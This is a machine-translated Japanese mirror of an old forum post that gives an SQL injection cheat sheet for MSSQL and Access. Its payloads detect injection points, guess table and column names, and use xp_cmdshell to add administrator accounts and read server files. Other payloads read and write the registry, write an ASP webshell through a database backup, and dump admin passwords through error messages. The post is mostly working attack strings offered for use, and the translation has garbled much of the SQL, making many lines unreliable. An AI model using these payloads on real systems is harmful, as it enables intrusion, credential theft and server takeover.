この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 14167|答える: 0

[安全な通信] SQLインジェクション共通文

[リンクをコピー]
掲載地 2014/11/22 17:17:21 | | |
1. 注入が存在するかどうかを判定する
; そして1=1
; そして1=2

2. MSSQLかどうかの予備判断
; およびユーザー>0

3. データベースシステムの評価
; および(sysObjectsからcount(*)を選択する)>0 MSSQL
; および(msysObjectsからcount(*)を選択し)>0アクセス

4. 注入パラメータはキャラクターです
' [クエリ基準] と ''=''

5. 探索中にフィルタリングされたパラメータが存在しない
' [クエリ基準] および '%25'='

6. テーブルの名前を当てる
; および([テーブル名]からCount(*)を選択し)>0

7. フィールドを当てる
; そして(テーブル名からCount(field name)を選択し>0

8. 現場での記録の長さを推測する
; そして(テーブル名から上位1 len(フィールド名)を選択し>0

9. (1) フィールドのASCII値を推測する(アクセス)
; そして(テーブル名からトップ1のASC(mid(field名、1,1))を選択し>0

(2) フィールド(mssql)のASCII値を推測する
; そして(テーブル名から上位1個のUnicode(substring(field name,1,1))を選択する)>0

10. テスト権限構造(mssql)
; 1=(選択IS_SRVROLEMEMBER(「sysadmin」)); --
; 1=(選択IS_SRVROLEMEMBER('serveradmin')); --
; 1=(選択IS_SRVROLEMEMBER('setupadmin'))); --
; 1=(選択IS_SRVROLEMEMBER('securityadmin'))); --
; 1=(選択IS_SRVROLEMEMBER(「ディスク管理者」)); --
; 1=(選択IS_SRVROLEMEMBER(「bulkadmin」)); --
; 1=(選択IS_MEMBER('db_owner'))); --

11. mssqlとシステム用のアカウントを追加してください
; エグゼクティブmaster.dbo.sp_addloginユーザー名; --
; exec master.dbo.sp_password null、username、password; --
; exec master.dbo.sp_addsrvrolemember sysadmin ユーザー名; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 「net user username password /add」; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

12. (1) カタログを横断する
; Create table dirs(paths varchar(100), id int)
; 取締役 エグゼクティブ master.dbo.xp_dirtree 'c:\' を挿入
; および(ダイルスからトップ1のパスを選択してください)>0
; および(dirsから(前ステップで取得した経路に含まれていない経路)から上位1つの経路を選択する)>)

(2) カタログを横断する
; テーブルtemp(id nvarchar(255)、num1 nvarchar(255)、num2 nvarchar(255)、num3 nvarchar(255)); --
; 臨時幹部master.dbo.xp_availablemediaを挿入; -- 全ての電流ドライブを入手
; temp(id) exec master.dbo.xp_subdirs 'c:\' を挿入します; -- サブディレクトリのリストを取得する
; temp(id,num1) exec master.dbo.xp_dirtree 'c:\' を挿入します。 -- すべてのサブディレクトリのディレクトリツリー構造を取得する
; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp' を挿入します。 -- ファイルの内容を見る

13. mssqlにおけるストアドプロシージャ
xp_regenumvalues レジストリのルートキー、子キー
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE'、'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' は複数のレコードセットですべてのキー値を返します
xp_regread ルートキー、子キー、キー値名
; exec xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' はセットキーの値を返します
xp_regwrite ルートキー、子キー、値名、値型、値
値タイプには文字タイプと整数の2種類があり、REG_SZ REG_DWORD
; exec xp_regwrite レジストリに対して「HKEY_LOCAL_MACHINE」、「SOFTWARE\Microsoft\Windows\CurrentVersion」、「TestvalueName'、'reg_sz', 'hello」
xp_regdeletevalue ルートキー、サブキー、値名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' を入力すると値が削除されます
キーを削除するにはxp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' を使い、そのキー内のすべての値も含めて

14. MSSQLバックアップがウェブシェルを作成します
モデルを活用してください
create table cmd(str image);
cmd(str)の値を挿入します('<% Dim oScript %>');
バックアップデータベースモデルをdiskに変換='c:\l.asp';

15. MSSQLの組み込み関数
; (@@version)>0を選択してWindowsのバージョン番号を取得します
; user_name()='dbo'で、現在のシステムの接続ユーザーがSAかどうかを判別します
; (選択user_name())>0 現在のシステムに接続されたユーザーを爆発させました
; および(db_name())>0を選択して現在接続されたデータベースを取得します



MSSQL 手書き注釈付きデータベース違反

1. 現在のテーブル名と列名を公開する
注入点の後に「'having 1=1--」を提出すると、テーブル名と列名が見える英語の返答メッセージが表示されます。 「グループ名を提出し、1=1--」を提出すると別の列名が得られます。 「公開されたテーブル名のリストでグループ化」を続けて送信してください。公開されたテーブルの名前です。 2列目の名前は1=1--"であり、これにより別の列名が得られます。 同じ方法でコミットし、ページがエラーメッセージを返さなくなるまで続けて、すべてのカラム名を取得します。 トリビア:暴力的なテーブル名や列名は、SQL文でGROUP BYと組み合わせて条件付き判断を下すために使われます。 文が不完全であるため、データベースはエラーメッセージを返し、テーブル名と列名を表示します。 BASICメソッドはデータベース内の現在のテーブルのみを公開でき、テーブルに多数の列名がある場合は、BASICメソッドの使用が非常に困難です。

まずは。 すべてのデータベース名が公開されます
「and 0<>(master count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])」という文を使って、データベース内の任意のテーブル名や列名を公開し、「[N]」はデータベース内のN番目のテーブルを表します。
ステップ1:ポイントを注入した後、次の文を提出します:「and 0<>(master.dbo.sysdatabases からcount(*) を選択 where name>1 and dbid=12)」。dbidの値は1から5までで、システムが使用しているため、ユーザーは6から構築し、名前を提出した必要があります>1、名前フィールドが文字型フィールドであり、数値比較が誤りとなるため、提出後IEは以下の情報を返します:「Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar 値 'Northwind' をデータ型 int に変換します コラム。 このようにして、名前フィールドの値を公開し、データベース名「Northwind」が得られます。 「dbid」の値を変更すると、すべてのデータベース名を取得できます。

および0<>(master.dbo.sysdatabasesからcount(*)を選択し、name>1 および dbid=[N])-- Nを修正して6からのすべてのデータベース名を爆発的に消去します


次に。 指定されたデータベース内のすべてのテーブル名を公開します
データベース名を取得したら、ライブラリ内のすべてのテーブル名を取得し、次の文を提出する必要があります:「and 0<>(master.dbo.sysobjects where xtype='U' から上位1名を選択してください)」。これはマスターデータベース内のテーブル名で、クエリのSQL文は名前の値を返し、それを0と比較して名前の値を公開します。 提出後、テーブルの名前が「spt_monito」であることが明らかになりました。
その後、他のテーブルが公開され、次の文が提出されます:「and 0<>(master.dbo.sysobjects から top 1 name 選択 where xtype='U' および name not in('spt_monito'))」と、別の「cd512」というテーブルが公開されます。 ファイル「および名前が(' spt_monito'', ' CD512',..))に入っていない」 テーブル名はすべて調べられます。

および0<>([データベース名指定].dbo.sysobjects から上の名前を選択 (xtype='U')--
および0<>([データベース名指定].dbo.sysobjectsから上位1個の名前を選択し、xtype='U' および名前が('[Exploded table name]'))に入らない名前を選びます--
および0<>([データベース名指定].dbo.sysobjects から上位1個の名前を選択 (xtype='U' かつ名前は('[Explosive table name]', '[Exploded second table name]')--

4. 指定されたテーブル内のすべての列名を公開する
および 0<>(bbs.dbo.sysobjects から count(*) 選択 xtype='U' および name='admin' および uid>(str(id)))
ID値を文字型に変換し、それを整数値と比較します。 ID番号が出てる。 値は次の通りです:949578421 name='table name'

および0<>(wutong.dbo.syscolumnsからid=949578421)から上位1個を選択して、管理者テーブル内のフィールド名が公開されます

再送信して0<>(wutong.dbo.syscolumnsからid=949578421 and name not in('adduser)を選びます--
ファイル「および名前が(' spt_monito'', ' CD512',..))に入っていない」 すべてのフィールド名は管理者テーブルで見つけることができます。


そして0<>([データベース名指定].dbo.sysobjects からcount(*)を選択 ここでxtype='U' およびname='[explodするフィールドのテーブル名]' およびuid>(str(id)))-explodとなるフィールドのテーブル名のID値

および0<>([データベース名を指定].dbo.syscolumnsから上位1個の名前を選択し、id=exploded id value)-exploding id値テーブル内のフィールド名

および0<>([データベース名指定].dbo.syscolumnsから上位1名を選択し、id=爆発的なid値と名前に入らない名前('[Exploded field name]'))--



5. 指定されたテーブルのデータを読み取る

そして0<(wutong.dbo.adminからA_ID選択、A_UserID>1)――A_PWDを壊したコンテンツ

そして 0<([select database name].dbo.[table name to query] から[存在するフィールド]を選択し、[field name to explode content]>1)--

0<(wutong.dbo.admin からA_IDを選択し、A_PWD>1 と A_UserID='admin')-管理者のパスワードが露出します


および0<(管理者からトップ1を選択し、A_UserID A_ID<>1)—id<>1(fuhao)の管理者名)

および0<(管理者A_UserID「トップ1」を選択し、A_ID <>1とA_UserID <>「fuhao」)――2番目の管理者の名前<>(tuiguang)と等しくありません。

そして0<(管理者からA_UserIDトップ1を選択し、A_ID <>1とA_UserID <>「fuhao」、A_UserID <>「tuiguang」)--

データベースのテーブル名と列名を知ったら、「クエリ文」を使ってデータベース内の情報を読み取ることができます。 例えば、テーブルの列のN番目のデータを読みたい場合は、「(テーブル名から上位1列名を選択し、id=[N])>1」([N]は列内のN番目のデータを表す)を提出すると、IEが返す情報から目的のデータがわかります。






先の:圧縮されたrarファイルをjpgファイルで隠す方法
次に:「ハリー・ポッター」1~7集めて 取り出して分け合う 気に入らなければスプレーしないで
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com